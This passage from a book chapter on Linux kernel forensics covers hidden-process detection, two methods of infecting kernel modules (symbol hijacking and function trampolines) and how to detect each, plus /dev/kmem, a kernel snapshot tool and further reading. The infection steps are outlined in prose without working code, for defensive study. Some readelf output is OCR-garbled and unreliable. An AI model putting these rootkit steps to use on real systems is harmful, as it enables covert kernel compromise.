unable to find the processes that the kernel rootkit deems hidden by skipping over them in
the directory listing.



Taskverse techniques

The taskverse program is a part of the kernel Voodoo package, but I released a more
elementary version for free that uses only one technique to detect hidden processes;
however, this technique is still very useful. As we were just discussing, rootkits commonly
hide the pid-directories in /proc so that sys_getdents64 and filldir64 cannot see them.
The most straightforward and obvious approach used to see these processes would be to
bypass the /proc directory completely and follow the task list in the kernel memory to look
at each process descriptor that is represented by a linked list of struct task_struct
entries. The head of the list pointer can be found by looking up the init_task symbol.
With this knowledge, a programmer with some skill can open up /proc/kcore and
traverse the task list. The details of this code can be viewed in the project itself, which is
available on my GitHub profile at https://github.com/elfmaster/taskverse.


https://github.com/elfmaster/taskverse




Infected LKMs — kernel drivers

So far, we have covered various types of kernel rootkit infections in memory, but I think
that this chapter begs a section dedicated to explaining how kernel drivers can be infected
by attackers, and how to go about detecting these infections.



Method 1 for infecting LKM files — symbol
hijacking

LKMs are ELF objects. To be more specific, they are ET_REL files (object files). Since
they are effectively just relocatable code, the ways to infect them, such as hijacking
functions, are more limited. Fortunately, there are some kernel-specific mechanisms that
take place during the load time of the ELF kernel object, the process of relocating

functions within the LKM, that makes infecting them quite easy. The entire method and
reasons for it working are described in this wonderful phrack paper at

http://phrack.org/issues/68/11.html, but the general idea is simple:

1. Inject or link in the parasite code to the kernel module.
2. Change the symbol value of init_module() to have the same offset/value as the evil
replacement function.

This is the method used most ubiquitously by attackers on modern Linux systems (2.6 to
3.x kernels). There is another method that has not been specifically described anywhere
else, and I will share it briefly.


http://phrack.org/issues/68/11.html

Method 2 for infecting LKM files (function
hijacking)

LKM files are relocatable code, as previously mentioned, and are therefore quite easy to
add code to since the parasite can be written in C and then compiled as relocatable before
linking. After linking the new parasite code, which presumably contains a new function
(or several functions), the attacker can simply hijack any function within the LKM using
function trampolines, as described early in this chapter. So, the attacker replaces the first
several bytes of the target function with a jump to the new function. The new function

then memcpy’s the original bytes to the old function before invoking it, and memcpy’s the
trampoline back in place for the next time the hook is to be called.

Note

On newer systems, the write protect bit must be disabled prior to patching the text
segment, such as with the memcpy () calls that are necessary to implement function
trampolines.



Detecting infected LKMs

The solution to this problem should seem obvious based on the two simple detection
methods just described. For the symbol hijacking method, you can simply look for two
symbols that have the same value. In the example shown in the Phrack article, the
init_module() function was hijacked, but the technique should apply to any function that
the attacker wants to hijack. This is because the kernel handles relocations for each one
(although I have not tested this theory):

$ objdump -t infected.lkm
00000040 g F .text 0000001b evil..
00000040 g F .text 0000001b init_module

Notice in the preceding symbol output that init_module and evil have the same relative
address. This—right here—is an infected LKM as demonstrated in Phrack 68 #11.
Detecting functions hijacked with trampolines is also quite simple and was already
described in section 9.6.3, where we discussed detecting trampolines in the kernel. Simply
apply the same analysis to the functions in a LKM file, which can be disassembled with
tools such as objdump.






Notes on /dev/kmem and /dev/mem

In the good old days, hackers were able to modify the kernel using the /dev/kmem device
file. This file, which gave programmers a raw portal to the kernel memory, was eventually
subject to various security patches and removed from many distributions. However, some
distros still have it available to read from, which can be a powerful tool for detecting
kernel malware, but it is not necessary as long as /proc/kcore is available. Some of the best
work ever written on patching the Linux kernel was conceived by Silvio Cesare, which
can be seen in his early writings from 1998 and can be found on vxheaven or on this link:

e Runtime kernel kmem patching: http://althing.cs.dartmouth.edu/local/vsc07.html


http://althing.cs.dartmouth.edu/local/vsc07.html




/dev/mem

There have been a number of kernel rootkits that used /dev/mem, namely phalanx and
phalanx2, written by Rebel. This device has also undergone a number of security patches.
Currently, it is present on all systems for backwards compatibility, but only the first 1 MB
of memory is accessible, primarily for legacy tools used by X Windows.



FreeBSD /dev/kmem

On some OSes such as FreeBSD, the /dev/kmem device is still available and is writable by
default. There is even an API specifically designed for accessing it, and there’s a book
called Writing BSD rootkits that demonstrates its abilities.






K-ecfs — kernel ECFS

In the previous chapter, we discussed the ECFS (short for Extended Core File Snapshot)
technology. It is worth mentioning near the end of this chapter that I have worked out
some code for a kernel-ecfs, which merges vmlinux and /proc/kcore into a kernel-ecfs
file. The result is essentially a file similar to /proc/kcore, but one that also has section
headers and symbols. In this way, an analyst can easily access any part of the kernel,
LKMs, and kernel memory (such as the “vmalloc’d” memory). This code will eventually
become publicly available.



A sneak peek of the kernel-ecfs file

Here, we are demonstrating how /proc/kcore has been snapshotted into a file called
kcore.img and given a set of ELF section headers:

# ./kcore_ecfs kcore.img

# readelf -S kcore.img
here are 6 section headers, starting at offset 0Ox60404afc:

Section Headers:

[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align

[ 9] NULL 0000O0OOOLEOOOLEEO OOOOEO
0000O0OOOLEOOOEO0 0OOOEOOOEOOOEOO 0] 0] (0]

[ 1] .note NULL 0000O0OOOLEOOOLEO 000000e8
000000000LE001al4 COOOLEOOOOEOOOEOC 0] 48 (0]

[ 2] .kernel PROGBITS fFffffff81000000 01001afc
0000000001403000 0COOOEOOOEOOOEEOO WAX 0] 0] (0]

[ 3] .bss PROGBITS fFFFffff81e77000 0000000
00000000OO169000 COOOLEOOOLEOOOEEOO WA 0] 0] (0]

[ 4] .modules PROGBITS fFffffffan0e0000 01404afc
0000000057000 COOOOOOOOOOOOOOO WAX 0] 0] (0]

[ 5] .shstrtab STRTAB 0000O00OOLEOOOLEOO 60404c7c
0000O0OOOLE0ONE26 0OOOOEOOOEOOOEOO0 0] 0] 0]

# readelf -s kcore.img | grep sys_call_table
34214: ffffffff81801460 4368 OBJECT 4 sys_call_table
34379: ffffffff8180c5a0 2928 OBJECT 4 ia32_sys_call_table






Kernel hacking goodies

The Linux kernel is a vast topic with regards to forensic analysis and reverse engineering.
There are many exciting ways to go about instrumenting the kernel for purposes of
hacking, reversing, and debugging, and Linux offers its users many entry points into these
areas. I have discussed some files and APIs that are useful throughout this chapter, but I
will also give a small, condensed list of things that may be of help in your research.



General reverse engineering and debugging

/proc/kcore

/proc/kallsyms
/boot/System.map

/dev/mem (deprecated)
/dev/kmem (deprecated)

GNU debugger (used with kcore)



Advanced kernel hacking/debugging interfaces

e Kprobes
e Ftrace



Papers mentioned in this chapter

Kprobe instrumentation: http://phrack.org/issues/67/6.html

Runtime kernel kmem patching: http://althing.cs.dartmouth.edu/local/vsc07.html
LKM infection: http://phrack.org/issues/68/11.html
Special sections in Linux binaries: https://lwn.net/Articles/531148/

Kernel Voodoo: http://www.bitlackeys.org/#ikore



http://phrack.org/issues/67/6.html
http://althing.cs.dartmouth.edu/local/vsc07.html
http://phrack.org/issues/68/11.html
https://lwn.net/Articles/531148/
http://www.bitlackeys.org/#ikore




Summary

In this final chapter of this book, we stepped out of userland binaries and took a general
look at what types of ELF binaries are used in the kernel, and how to utilize them with
GDB and /proc/kcore for memory analysis and forensics purposes. We also explained
some of the most common Linux kernel rootkit techniques that are used and what methods
can be applied to detect them. This small chapter serves only as a primary resource for
understanding the fundamentals, but we just listed some excellent resources so that you
can continue to expand your knowledge in this area.
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